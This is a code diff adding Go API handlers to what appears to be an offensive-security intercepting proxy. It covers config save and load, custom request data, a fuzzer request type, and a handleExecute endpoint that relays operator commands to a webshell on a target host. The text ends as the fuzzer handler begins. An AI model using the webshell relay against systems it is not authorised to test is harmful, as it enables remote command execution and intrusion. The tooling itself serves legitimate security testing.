@@ -0,0 +1,651 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"compress/gzip"
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"io"
|
||||
"log"
|
||||
"net/http"
|
||||
"time"
|
||||
|
||||
"github.com/BishopFox/joro/internal/configstore"
|
||||
"github.com/BishopFox/joro/internal/proxy"
|
||||
"github.com/hashicorp/go-uuid"
|
||||
)
|
||||
|
||||
// --- User Config ---
|
||||
|
||||
type userConfigFile struct {
|
||||
Version int `json:"version"`
|
||||
SOCKSHost string `json:"socksHost"`
|
||||
SOCKSPort int `json:"socksPort"`
|
||||
SOCKSUsername string `json:"socksUsername"`
|
||||
SOCKSPassword string `json:"socksPassword"`
|
||||
SOCKSDNS bool `json:"socksDns"`
|
||||
HTTP2Enabled bool `json:"http2Enabled"`
|
||||
KeepAliveEnabled bool `json:"keepAliveEnabled"`
|
||||
InterceptTimeout int `json:"interceptTimeout"`
|
||||
MaxRequests int `json:"maxRequests"`
|
||||
DisableUpdateChecks bool `json:"disableUpdateChecks"`
|
||||
Theme string `json:"theme"`
|
||||
HiddenTabs []string `json:"hiddenTabs,omitempty"`
|
||||
PluginStates map[string]string `json:"pluginStates,omitempty"` // plugin name -> base64(opaque bytes)
|
||||
}
|
||||
|
||||
// --- Project Config ---
|
||||
|
||||
type projectScopeRule struct {
|
||||
Pattern string `json:"pattern"`
|
||||
Methods []string `json:"methods"`
|
||||
Path string `json:"path"`
|
||||
Include bool `json:"include"`
|
||||
}
|
||||
|
||||
type projectNoisePattern struct {
|
||||
Pattern string `json:"pattern"`
|
||||
}
|
||||
|
||||
type projectReplaceRule struct {
|
||||
Target string `json:"target"`
|
||||
MatchType string `json:"matchType"`
|
||||
Match string `json:"match"`
|
||||
Replace string `json:"replace"`
|
||||
}
|
||||
|
||||
type projectCustomItem struct {
|
||||
Type string `json:"type"`
|
||||
Name string `json:"name"`
|
||||
Value string `json:"value"`
|
||||
}
|
||||
|
||||
type projectNote struct {
|
||||
Host string `json:"host"`
|
||||
Content string `json:"content"`
|
||||
Author string `json:"author"`
|
||||
}
|
||||
|
||||
type projectCapturedRequest struct {
|
||||
ID string `json:"id"`
|
||||
Seq int `json:"seq"`
|
||||
Timestamp string `json:"timestamp"`
|
||||
Method string `json:"method"`
|
||||
URL string `json:"url"`
|
||||
Host string `json:"host"`
|
||||
StatusCode int `json:"statusCode"`
|
||||
ContentType string `json:"contentType,omitempty"`
|
||||
DurationNs int64 `json:"durationNs"`
|
||||
ReqRaw []byte `json:"reqRaw,omitempty"`
|
||||
RespRaw []byte `json:"respRaw,omitempty"`
|
||||
}
|
||||
|
||||
type projectConfigFile struct {
|
||||
Version int `json:"version"`
|
||||
ListenerURL string `json:"listenerUrl"`
|
||||
TeamToken string `json:"teamToken"`
|
||||
TeamNickname string `json:"teamNickname"`
|
||||
ScopeEnabled bool `json:"scopeEnabled"`
|
||||
ScopeRules []projectScopeRule `json:"scopeRules"`
|
||||
NoiseEnabled bool `json:"noiseEnabled"`
|
||||
NoisePatterns []projectNoisePattern `json:"noisePatterns"`
|
||||
ReplaceEnabled bool `json:"replaceEnabled"`
|
||||
ReplaceRules []projectReplaceRule `json:"replaceRules"`
|
||||
CustomDataEnabled bool `json:"customDataEnabled"`
|
||||
CustomDataItems []projectCustomItem `json:"customDataItems"`
|
||||
Notes []projectNote `json:"notes"`
|
||||
Highlights map[string]string `json:"highlights,omitempty"`
|
||||
RequestHistory []projectCapturedRequest `json:"requestHistory,omitempty"`
|
||||
PluginStates map[string]string `json:"pluginStates,omitempty"` // plugin name -> base64(opaque bytes)
|
||||
}
|
||||
|
||||
// encodePluginStates base64-encodes each blob for transport inside a JSON
|
||||
// config file. Returns nil when states is empty so the JSON field is elided.
|
||||
func encodePluginStates(states map[string][]byte) map[string]string {
|
||||
if len(states) == 0 {
|
||||
return nil
|
||||
}
|
||||
out := make(map[string]string, len(states))
|
||||
for name, data := range states {
|
||||
out[name] = base64.StdEncoding.EncodeToString(data)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// decodePluginStates reverses encodePluginStates. Entries whose value isn't
|
||||
// valid base64 are dropped with a log line so one corrupt blob doesn't kill
|
||||
// the whole config load.
|
||||
func decodePluginStates(encoded map[string]string) map[string][]byte {
|
||||
if len(encoded) == 0 {
|
||||
return nil
|
||||
}
|
||||
out := make(map[string][]byte, len(encoded))
|
||||
for name, enc := range encoded {
|
||||
data, err := base64.StdEncoding.DecodeString(enc)
|
||||
if err != nil {
|
||||
log.Printf("[plugins] skipping corrupt state blob for %q: %v", name, err)
|
||||
continue
|
||||
}
|
||||
out[name] = data
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// mergePluginStates overlays fresh on top of ghost. Used at save time so blobs
|
||||
// belonging to plugins not installed on this machine are preserved across a
|
||||
// load -> save round-trip.
|
||||
func mergePluginStates(ghost, fresh map[string][]byte) map[string][]byte {
|
||||
if len(ghost) == 0 && len(fresh) == 0 {
|
||||
return nil
|
||||
}
|
||||
out := make(map[string][]byte, len(ghost)+len(fresh))
|
||||
for name, data := range ghost {
|
||||
out[name] = data
|
||||
}
|
||||
for name, data := range fresh {
|
||||
out[name] = data
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// ---- Handlers ----
|
||||
|
||||
func (s *APIServer) handleListUserConfigs(w http.ResponseWriter, r *http.Request) {
|
||||
names, err := s.configStore.List("user")
|
||||
if err != nil {
|
||||
writeError(w, http.StatusInternalServerError, err.Error())
|
||||
return
|
||||
}
|
||||
s.mu.RLock()
|
||||
active := s.activeUserConfig
|
||||
s.mu.RUnlock()
|
||||
writeJSON(w, http.StatusOK, map[string]any{"configs": names, "active": active})
|
||||
}
|
||||
|
||||
func (s *APIServer) handleSaveUserConfig(w http.ResponseWriter, r *http.Request) {
|
||||
var body struct {
|
||||
Name string `json:"name"`
|
||||
Theme string `json:"theme"`
|
||||
HiddenTabs []string `json:"hiddenTabs"`
|
||||
}
|
||||
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
|
||||
writeError(w, http.StatusBadRequest, "invalid JSON")
|
||||
return
|
||||
}
|
||||
if err := configstore.ValidateName(body.Name); err != nil {
|
||||
writeError(w, http.StatusBadRequest, err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
s.mu.RLock()
|
||||
cfg := userConfigFile{
|
||||
Version: 3,
|
||||
SOCKSHost: s.settings.SOCKSHost,
|
||||
SOCKSPort: s.settings.SOCKSPort,
|
||||
SOCKSUsername: s.settings.SOCKSUsername,
|
||||
SOCKSPassword: s.settings.SOCKSPassword,
|
||||
SOCKSDNS: s.settings.SOCKSDNS,
|
||||
HTTP2Enabled: s.settings.HTTP2Enabled,
|
||||
KeepAliveEnabled: s.settings.KeepAliveEnabled,
|
||||
InterceptTimeout: s.settings.InterceptTimeout,
|
||||
MaxRequests: s.settings.MaxRequests,
|
||||
DisableUpdateChecks: s.settings.DisableUpdateChecks,
|
||||
Theme: body.Theme,
|
||||
HiddenTabs: body.HiddenTabs,
|
||||
}
|
||||
ghost := s.pendingUserPluginStates
|
||||
s.mu.RUnlock()
|
||||
|
||||
var fresh map[string][]byte
|
||||
if s.pluginManager != nil {
|
||||
fresh = s.pluginManager.ExportUserStates()
|
||||
}
|
||||
cfg.PluginStates = encodePluginStates(mergePluginStates(ghost, fresh))
|
||||
|
||||
data, _ := json.MarshalIndent(cfg, "", " ")
|
||||
if err := s.configStore.Save("user", body.Name, data); err != nil {
|
||||
writeError(w, http.StatusInternalServerError, err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
s.mu.Lock()
|
||||
s.activeUserConfig = body.Name
|
||||
s.mu.Unlock()
|
||||
|
||||
writeJSON(w, http.StatusOK, map[string]string{"status": "saved", "name": body.Name})
|
||||
}
|
||||
|
||||
func (s *APIServer) handleLoadUserConfig(w http.ResponseWriter, r *http.Request) {
|
||||
name := r.PathValue("name")
|
||||
data, err := s.configStore.Load("user", name)
|
||||
if err != nil {
|
||||
writeError(w, http.StatusNotFound, err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
var cfg userConfigFile
|
||||
if err := json.Unmarshal(data, &cfg); err != nil {
|
||||
writeError(w, http.StatusInternalServerError, "corrupt config file")
|
||||
return
|
||||
}
|
||||
|
||||
decodedPluginStates := decodePluginStates(cfg.PluginStates)
|
||||
|
||||
s.mu.Lock()
|
||||
s.settings.SOCKSHost = cfg.SOCKSHost
|
||||
s.settings.SOCKSPort = cfg.SOCKSPort
|
||||
s.settings.SOCKSUsername = cfg.SOCKSUsername
|
||||
s.settings.SOCKSPassword = cfg.SOCKSPassword
|
||||
s.settings.SOCKSDNS = cfg.SOCKSDNS
|
||||
s.settings.HTTP2Enabled = cfg.HTTP2Enabled
|
||||
s.settings.KeepAliveEnabled = cfg.KeepAliveEnabled
|
||||
s.settings.InterceptTimeout = cfg.InterceptTimeout
|
||||
if cfg.MaxRequests > 0 {
|
||||
s.settings.MaxRequests = cfg.MaxRequests
|
||||
}
|
||||
s.settings.DisableUpdateChecks = cfg.DisableUpdateChecks
|
||||
s.activeUserConfig = name
|
||||
s.pendingUserPluginStates = decodedPluginStates
|
||||
settings := s.settings
|
||||
s.mu.Unlock()
|
||||
|
||||
// Apply side effects.
|
||||
if s.transport != nil {
|
||||
s.transport.SetHTTP2(cfg.HTTP2Enabled)
|
||||
s.transport.SetKeepAlive(cfg.KeepAliveEnabled)
|
||||
s.transport.SetSOCKS(cfg.SOCKSHost, cfg.SOCKSPort, cfg.SOCKSUsername, cfg.SOCKSPassword, cfg.SOCKSDNS)
|
||||
}
|
||||
if s.intercept != nil && cfg.InterceptTimeout > 0 {
|
||||
s.intercept.SetTimeout(time.Duration(cfg.InterceptTimeout) * time.Second)
|
||||
}
|
||||
if s.store != nil && cfg.MaxRequests > 0 {
|
||||
s.store.SetMaxSize(cfg.MaxRequests)
|
||||
}
|
||||
|
||||
var unknownPluginStates []string
|
||||
if s.pluginManager != nil {
|
||||
unknownPluginStates = s.pluginManager.ApplyUserStates(decodedPluginStates)
|
||||
}
|
||||
|
||||
// Return settings + theme so frontend can update.
|
||||
resp := struct {
|
||||
Settings
|
||||
Theme string `json:"theme"`
|
||||
HiddenTabs []string `json:"hiddenTabs,omitempty"`
|
||||
UnknownPluginStates []string `json:"unknownPluginStates,omitempty"`
|
||||
}{
|
||||
Settings: settings,
|
||||
Theme: cfg.Theme,
|
||||
HiddenTabs: cfg.HiddenTabs,
|
||||
UnknownPluginStates: unknownPluginStates,
|
||||
}
|
||||
writeJSON(w, http.StatusOK, resp)
|
||||
}
|
||||
|
||||
func (s *APIServer) handleDeleteUserConfig(w http.ResponseWriter, r *http.Request) {
|
||||
name := r.PathValue("name")
|
||||
if err := s.configStore.Delete("user", name); err != nil {
|
||||
writeError(w, http.StatusNotFound, err.Error())
|
||||
return
|
||||
}
|
||||
s.mu.Lock()
|
||||
if s.activeUserConfig == name {
|
||||
s.activeUserConfig = ""
|
||||
}
|
||||
s.mu.Unlock()
|
||||
writeJSON(w, http.StatusOK, map[string]string{"status": "deleted"})
|
||||
}
|
||||
|
||||
// --- Project Config Handlers ---
|
||||
|
||||
func (s *APIServer) handleListProjectConfigs(w http.ResponseWriter, r *http.Request) {
|
||||
names, err := s.configStore.List("project")
|
||||
if err != nil {
|
||||
writeError(w, http.StatusInternalServerError, err.Error())
|
||||
return
|
||||
}
|
||||
s.mu.RLock()
|
||||
active := s.activeProjectConfig
|
||||
s.mu.RUnlock()
|
||||
writeJSON(w, http.StatusOK, map[string]any{"configs": names, "active": active})
|
||||
}
|
||||
|
||||
func (s *APIServer) handleSaveProjectConfig(w http.ResponseWriter, r *http.Request) {
|
||||
var body struct {
|
||||
Name string `json:"name"`
|
||||
}
|
||||
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
|
||||
writeError(w, http.StatusBadRequest, "invalid JSON")
|
||||
return
|
||||
}
|
||||
if err := configstore.ValidateName(body.Name); err != nil {
|
||||
writeError(w, http.StatusBadRequest, err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
// Read team server settings.
|
||||
s.mu.RLock()
|
||||
listenerURL := s.settings.ListenerURL
|
||||
teamToken := s.settings.TeamToken
|
||||
teamNickname := s.settings.TeamNickname
|
||||
s.mu.RUnlock()
|
||||
|
||||
// Read scope rules (strip IDs).
|
||||
scopeRules := s.scope.Rules()
|
||||
pScopeRules := make([]projectScopeRule, len(scopeRules))
|
||||
for i, r := range scopeRules {
|
||||
pScopeRules[i] = projectScopeRule{
|
||||
Pattern: r.Pattern, Methods: r.Methods, Path: r.Path, Include: r.Include,
|
||||
}
|
||||
}
|
||||
|
||||
// Read noise patterns (strip IDs).
|
||||
noisePatterns := s.noise.Patterns()
|
||||
pNoisePatterns := make([]projectNoisePattern, len(noisePatterns))
|
||||
for i, p := range noisePatterns {
|
||||
pNoisePatterns[i] = projectNoisePattern{Pattern: p.Pattern}
|
||||
}
|
||||
|
||||
// Read match/replace rules (strip IDs).
|
||||
replaceRules := s.replace.Rules()
|
||||
pReplaceRules := make([]projectReplaceRule, len(replaceRules))
|
||||
for i, r := range replaceRules {
|
||||
pReplaceRules[i] = projectReplaceRule{
|
||||
Target: r.Target, MatchType: r.MatchType, Match: r.Match, Replace: r.Replace,
|
||||
}
|
||||
}
|
||||
|
||||
// Read custom data items (strip IDs).
|
||||
customItems := s.customData.Items()
|
||||
pCustomItems := make([]projectCustomItem, len(customItems))
|
||||
for i, item := range customItems {
|
||||
pCustomItems[i] = projectCustomItem{Type: item.Type, Name: item.Name, Value: item.Value}
|
||||
}
|
||||
|
||||
// Read notes from the in-memory store.
|
||||
var pNotes []projectNote
|
||||
if s.noteStore != nil {
|
||||
allNotes, err := s.noteStore.LoadAll()
|
||||
if err == nil {
|
||||
pNotes = make([]projectNote, len(allNotes))
|
||||
for i, n := range allNotes {
|
||||
pNotes[i] = projectNote{Host: n.Host, Content: n.Content, Author: n.Author}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Read highlights.
|
||||
s.mu.RLock()
|
||||
pHighlights := make(map[string]string, len(s.highlights))
|
||||
for k, v := range s.highlights {
|
||||
pHighlights[k] = v
|
||||
}
|
||||
s.mu.RUnlock()
|
||||
|
||||
// Export request history.
|
||||
allReqs := s.store.All()
|
||||
pReqs := make([]projectCapturedRequest, len(allReqs))
|
||||
for i, r := range allReqs {
|
||||
pReqs[i] = projectCapturedRequest{
|
||||
ID: r.ID, Seq: r.Seq, Timestamp: r.Timestamp.Format(time.RFC3339Nano),
|
||||
Method: r.Method, URL: r.URL, Host: r.Host,
|
||||
StatusCode: r.StatusCode, ContentType: r.ContentType,
|
||||
DurationNs: int64(r.Duration), ReqRaw: r.ReqRaw, RespRaw: r.RespRaw,
|
||||
}
|
||||
}
|
||||
|
||||
s.mu.RLock()
|
||||
projectGhost := s.pendingProjectPluginStates
|
||||
s.mu.RUnlock()
|
||||
|
||||
var projectFresh map[string][]byte
|
||||
if s.pluginManager != nil {
|
||||
projectFresh = s.pluginManager.ExportProjectStates()
|
||||
}
|
||||
|
||||
cfg := projectConfigFile{
|
||||
Version: 3,
|
||||
ListenerURL: listenerURL,
|
||||
TeamToken: teamToken,
|
||||
TeamNickname: teamNickname,
|
||||
ScopeEnabled: s.scope.IsEnabled(),
|
||||
ScopeRules: pScopeRules,
|
||||
NoiseEnabled: s.noise.IsEnabled(),
|
||||
NoisePatterns: pNoisePatterns,
|
||||
ReplaceEnabled: s.replace.IsEnabled(),
|
||||
ReplaceRules: pReplaceRules,
|
||||
CustomDataEnabled: s.customData.IsEnabled(),
|
||||
CustomDataItems: pCustomItems,
|
||||
Notes: pNotes,
|
||||
Highlights: pHighlights,
|
||||
RequestHistory: pReqs,
|
||||
PluginStates: encodePluginStates(mergePluginStates(projectGhost, projectFresh)),
|
||||
}
|
||||
|
||||
jsonData, _ := json.Marshal(cfg)
|
||||
var buf bytes.Buffer
|
||||
gz := gzip.NewWriter(&buf)
|
||||
if _, err := gz.Write(jsonData); err != nil {
|
||||
writeError(w, http.StatusInternalServerError, err.Error())
|
||||
return
|
||||
}
|
||||
if err := gz.Close(); err != nil {
|
||||
writeError(w, http.StatusInternalServerError, err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
if err := s.configStore.SaveGzip("project", body.Name, buf.Bytes()); err != nil {
|
||||
writeError(w, http.StatusInternalServerError, err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
s.mu.Lock()
|
||||
s.activeProjectConfig = body.Name
|
||||
s.mu.Unlock()
|
||||
|
||||
writeJSON(w, http.StatusOK, map[string]string{"status": "saved", "name": body.Name})
|
||||
}
|
||||
|
||||
func (s *APIServer) handleLoadProjectConfig(w http.ResponseWriter, r *http.Request) {
|
||||
name := r.PathValue("name")
|
||||
data, err := s.configStore.LoadAny("project", name)
|
||||
if err != nil {
|
||||
writeError(w, http.StatusNotFound, err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
// Decompress if gzip (magic bytes 0x1f 0x8b).
|
||||
// Limit decompressed size to 2GB to prevent gzip bombs.
|
||||
const maxDecompressedSize = 2 << 30
|
||||
isLegacy := !(len(data) >= 2 && data[0] == 0x1f && data[1] == 0x8b)
|
||||
if !isLegacy {
|
||||
gz, err := gzip.NewReader(bytes.NewReader(data))
|
||||
if err != nil {
|
||||
writeError(w, http.StatusInternalServerError, "failed to decompress config")
|
||||
return
|
||||
}
|
||||
data, err = io.ReadAll(io.LimitReader(gz, maxDecompressedSize+1))
|
||||
gz.Close()
|
||||
if err != nil {
|
||||
writeError(w, http.StatusInternalServerError, "failed to decompress config")
|
||||
return
|
||||
}
|
||||
if len(data) > maxDecompressedSize {
|
||||
writeError(w, http.StatusBadRequest, "config file exceeds maximum size")
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
var cfg projectConfigFile
|
||||
if err := json.Unmarshal(data, &cfg); err != nil {
|
||||
writeError(w, http.StatusInternalServerError, "corrupt config file")
|
||||
return
|
||||
}
|
||||
|
||||
// Cap request history to the store's capacity to prevent memory exhaustion.
|
||||
maxHistory := s.store.MaxSize()
|
||||
if len(cfg.RequestHistory) > maxHistory {
|
||||
cfg.RequestHistory = cfg.RequestHistory[len(cfg.RequestHistory)-maxHistory:]
|
||||
}
|
||||
|
||||
// Convert legacy .json config to .joro format.
|
||||
if isLegacy {
|
||||
converted, _ := json.Marshal(cfg)
|
||||
var buf bytes.Buffer
|
||||
gz := gzip.NewWriter(&buf)
|
||||
gz.Write(converted)
|
||||
gz.Close()
|
||||
_ = s.configStore.SaveGzip("project", name, buf.Bytes())
|
||||
}
|
||||
|
||||
decodedPluginStates := decodePluginStates(cfg.PluginStates)
|
||||
|
||||
// Apply team server settings.
|
||||
teamSettingsChanged := false
|
||||
s.mu.Lock()
|
||||
if cfg.ListenerURL != s.settings.ListenerURL || cfg.TeamToken != s.settings.TeamToken || cfg.TeamNickname != s.settings.TeamNickname {
|
||||
teamSettingsChanged = true
|
||||
}
|
||||
s.settings.ListenerURL = cfg.ListenerURL
|
||||
s.settings.TeamToken = cfg.TeamToken
|
||||
s.settings.TeamNickname = cfg.TeamNickname
|
||||
s.activeProjectConfig = name
|
||||
s.pendingProjectPluginStates = decodedPluginStates
|
||||
settings := s.settings
|
||||
s.mu.Unlock()
|
||||
|
||||
if teamSettingsChanged && s.listenerRelay != nil {
|
||||
s.listenerRelay.Update(settings.ListenerURL, settings.TeamToken, settings.TeamNickname)
|
||||
}
|
||||
|
||||
// Apply scope.
|
||||
scopeRules := make([]proxy.ScopeRule, len(cfg.ScopeRules))
|
||||
for i, r := range cfg.ScopeRules {
|
||||
scopeRules[i] = proxy.ScopeRule{
|
||||
ID: proxy.GenerateID(), Pattern: r.Pattern, Methods: r.Methods, Path: r.Path, Include: r.Include,
|
||||
}
|
||||
}
|
||||
s.scope.SetEnabled(cfg.ScopeEnabled)
|
||||
s.scope.SetRules(scopeRules)
|
||||
|
||||
// Apply noise patterns.
|
||||
noisePatterns := make([]proxy.NoisePattern, len(cfg.NoisePatterns))
|
||||
for i, p := range cfg.NoisePatterns {
|
||||
noisePatterns[i] = proxy.NoisePattern{ID: proxy.GenerateID(), Pattern: p.Pattern}
|
||||
}
|
||||
s.noise.SetEnabled(cfg.NoiseEnabled)
|
||||
s.noise.SetPatterns(noisePatterns)
|
||||
|
||||
// Apply match/replace rules.
|
||||
replaceRules := make([]proxy.MatchReplaceRule, len(cfg.ReplaceRules))
|
||||
for i, r := range cfg.ReplaceRules {
|
||||
replaceRules[i] = proxy.MatchReplaceRule{
|
||||
ID: proxy.GenerateID(), Target: r.Target, MatchType: r.MatchType, Match: r.Match, Replace: r.Replace,
|
||||
}
|
||||
}
|
||||
s.replace.SetEnabled(cfg.ReplaceEnabled)
|
||||
s.replace.SetRules(replaceRules)
|
||||
|
||||
// Apply custom data items.
|
||||
customItems := make([]proxy.CustomAddition, len(cfg.CustomDataItems))
|
||||
for i, item := range cfg.CustomDataItems {
|
||||
customItems[i] = proxy.CustomAddition{
|
||||
ID: proxy.GenerateID(), Type: item.Type, Name: item.Name, Value: item.Value,
|
||||
}
|
||||
}
|
||||
s.customData.SetEnabled(cfg.CustomDataEnabled)
|
||||
s.customData.SetItems(customItems)
|
||||
|
||||
// Apply notes: clear existing, then insert from config with validation.
|
||||
if s.noteStore != nil {
|
||||
_ = s.noteStore.ClearAll()
|
||||
for _, n := range cfg.Notes {
|
||||
host := n.Host
|
||||
content := n.Content
|
||||
author := n.Author
|
||||
// Cap field lengths to prevent oversized data from crafted configs.
|
||||
if len(host) > 253 {
|
||||
host = host[:253]
|
||||
}
|
||||
if len(content) > 65536 {
|
||||
content = content[:65536]
|
||||
}
|
||||
if len(author) > 64 {
|
||||
author = author[:64]
|
||||
}
|
||||
if host == "" || content == "" {
|
||||
continue
|
||||
}
|
||||
id, err := uuid.GenerateUUID()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
_, _ = s.noteStore.CreateNote(id, host, content, author)
|
||||
}
|
||||
}
|
||||
|
||||
// Apply highlights.
|
||||
s.mu.Lock()
|
||||
s.highlights = make(map[string]string)
|
||||
for k, v := range cfg.Highlights {
|
||||
s.highlights[k] = v
|
||||
}
|
||||
s.mu.Unlock()
|
||||
|
||||
// Restore request history.
|
||||
if len(cfg.RequestHistory) > 0 {
|
||||
items := make([]*proxy.CapturedRequest, len(cfg.RequestHistory))
|
||||
for i, r := range cfg.RequestHistory {
|
||||
ts, _ := time.Parse(time.RFC3339Nano, r.Timestamp)
|
||||
items[i] = &proxy.CapturedRequest{
|
||||
ID: r.ID, Seq: r.Seq, Timestamp: ts,
|
||||
Method: r.Method, URL: r.URL, Host: r.Host,
|
||||
StatusCode: r.StatusCode, ContentType: r.ContentType,
|
||||
Duration: time.Duration(r.DurationNs),
|
||||
ReqRaw: r.ReqRaw, RespRaw: r.RespRaw,
|
||||
}
|
||||
}
|
||||
s.store.LoadItems(items)
|
||||
} else {
|
||||
s.store.Clear()
|
||||
}
|
||||
|
||||
var unknownPluginStates []string
|
||||
if s.pluginManager != nil {
|
||||
unknownPluginStates = s.pluginManager.ApplyProjectStates(decodedPluginStates)
|
||||
}
|
||||
|
||||
// Return full project state.
|
||||
resp := map[string]any{
|
||||
"listenerUrl": cfg.ListenerURL,
|
||||
"teamToken": cfg.TeamToken,
|
||||
"teamNickname": cfg.TeamNickname,
|
||||
"scopeEnabled": cfg.ScopeEnabled,
|
||||
"scopeRules": scopeRules,
|
||||
"noiseEnabled": cfg.NoiseEnabled,
|
||||
"noisePatterns": noisePatterns,
|
||||
"replaceEnabled": cfg.ReplaceEnabled,
|
||||
"replaceRules": replaceRules,
|
||||
"customDataEnabled": cfg.CustomDataEnabled,
|
||||
"customDataItems": customItems,
|
||||
"historyRestored": true,
|
||||
}
|
||||
if len(unknownPluginStates) > 0 {
|
||||
resp["unknownPluginStates"] = unknownPluginStates
|
||||
}
|
||||
writeJSON(w, http.StatusOK, resp)
|
||||
}
|
||||
|
||||
func (s *APIServer) handleDeleteProjectConfig(w http.ResponseWriter, r *http.Request) {
|
||||
name := r.PathValue("name")
|
||||
if err := s.configStore.DeleteAll("project", name); err != nil {
|
||||
writeError(w, http.StatusNotFound, err.Error())
|
||||
return
|
||||
}
|
||||
s.mu.Lock()
|
||||
if s.activeProjectConfig == name {
|
||||
s.activeProjectConfig = ""
|
||||
}
|
||||
s.mu.Unlock()
|
||||
writeJSON(w, http.StatusOK, map[string]string{"status": "deleted"})
|
||||
}
|
||||
@@ -0,0 +1,67 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
|
||||
"github.com/BishopFox/joro/internal/proxy"
|
||||
)
|
||||
|
||||
func (s *APIServer) handleGetCustomData(w http.ResponseWriter, r *http.Request) {
|
||||
items := s.customData.Items()
|
||||
if items == nil {
|
||||
items = []proxy.CustomAddition{}
|
||||
}
|
||||
writeJSON(w, http.StatusOK, map[string]any{
|
||||
"enabled": s.customData.IsEnabled(),
|
||||
"items": items,
|
||||
})
|
||||
}
|
||||
|
||||
func (s *APIServer) handleSetCustomDataEnabled(w http.ResponseWriter, r *http.Request) {
|
||||
var body struct {
|
||||
Enabled bool `json:"enabled"`
|
||||
}
|
||||
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
|
||||
writeError(w, http.StatusBadRequest, "invalid JSON")
|
||||
return
|
||||
}
|
||||
s.customData.SetEnabled(body.Enabled)
|
||||
writeJSON(w, http.StatusOK, map[string]bool{"enabled": body.Enabled})
|
||||
}
|
||||
|
||||
func (s *APIServer) handleAddCustomDataItem(w http.ResponseWriter, r *http.Request) {
|
||||
var body struct {
|
||||
Type string `json:"type"`
|
||||
Name string `json:"name"`
|
||||
Value string `json:"value"`
|
||||
}
|
||||
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
|
||||
writeError(w, http.StatusBadRequest, "invalid JSON")
|
||||
return
|
||||
}
|
||||
valid := map[string]bool{"header": true, "query": true, "body": true}
|
||||
if !valid[body.Type] {
|
||||
writeError(w, http.StatusBadRequest, "type must be header, query, or body")
|
||||
return
|
||||
}
|
||||
if body.Type != "body" && body.Name == "" {
|
||||
writeError(w, http.StatusBadRequest, "name is required for header and query items")
|
||||
return
|
||||
}
|
||||
if body.Value == "" {
|
||||
writeError(w, http.StatusBadRequest, "value is required")
|
||||
return
|
||||
}
|
||||
item := s.customData.AddItem(body.Type, body.Name, body.Value)
|
||||
writeJSON(w, http.StatusCreated, item)
|
||||
}
|
||||
|
||||
func (s *APIServer) handleDeleteCustomDataItem(w http.ResponseWriter, r *http.Request) {
|
||||
id := r.PathValue("id")
|
||||
if !s.customData.RemoveItem(id) {
|
||||
writeError(w, http.StatusNotFound, "item not found")
|
||||
return
|
||||
}
|
||||
writeJSON(w, http.StatusOK, map[string]string{"deleted": id})
|
||||
}
|
||||
@@ -0,0 +1,42 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
|
||||
"github.com/BishopFox/joro/internal/proxy"
|
||||
"github.com/BishopFox/joro/internal/shell"
|
||||
)
|
||||
|
||||
func (s *APIServer) handleExecute(w http.ResponseWriter, r *http.Request) {
|
||||
var body struct {
|
||||
Target string `json:"target"`
|
||||
Webshell string `json:"webshell"`
|
||||
AuthKey string `json:"authKey"`
|
||||
Command string `json:"command"`
|
||||
}
|
||||
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
|
||||
writeError(w, http.StatusBadRequest, "invalid JSON")
|
||||
return
|
||||
}
|
||||
|
||||
if body.Target == "" || body.Webshell == "" || body.AuthKey == "" || body.Command == "" {
|
||||
writeError(w, http.StatusBadRequest, "target, webshell, authKey, and command are required")
|
||||
return
|
||||
}
|
||||
|
||||
client := proxy.NewHTTPClient("", s.transport)
|
||||
output, err := shell.ExecuteCommand(body.Target, body.Webshell, body.AuthKey, body.Command, client)
|
||||
if err != nil {
|
||||
writeJSON(w, http.StatusOK, map[string]string{
|
||||
"output": "",
|
||||
"error": err.Error(),
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
writeJSON(w, http.StatusOK, map[string]string{
|
||||
"output": output,
|
||||
"error": "",
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,332 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"context"
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
|
||||
"github.com/BishopFox/joro/internal/event"
|
||||
"github.com/BishopFox/joro/internal/fuzzer"
|
||||
)
|
||||
|
||||
type fuzzerStartRequest struct {
|
||||
Raw string `json:"raw"`
|
||||
Scheme string `json:"scheme"`
|
||||
Host string `json:"host"`
|
||||
Wordlist []string `json:"wordlist"` // Single-position wordlist
|
||||
Wordlists map[string][]string `json:"wordlists,omitempty"` // Multi-position: position → wordlist
|
||||
AttackMode string `json:"attackMode,omitempty"` // spray, split, yolo
|
||||
Threads int `json:"threads"`
|
||||
RateLimit float64 `json:"rateLimit"`
|
||||
FollowRedirects bool `json:"followRedirects"`
|
||||
UpdateContentLength *bool `json:"updateContentLength,omitempty"`
|
||||
FuzzKeyword string `json:"fuzzKeyword"`
|
||||
Matchers []fuzzer.Matcher `json:"matchers"`
|
||||
Filters []fuzzer.Filter `json:"filters"`
|
||||
MatcherMode string `json:"matcherMode"`
|
||||
FilterMode string `json:"filterMode"`
|
||||
MaxStoredBodies int `json:"maxStoredBodies,omitempty"`
|
||||
}
|
||||
|
||||
func (s *APIServer) handleFuzzerStart(w http.ResponseWriter, r *http.Request) {
|
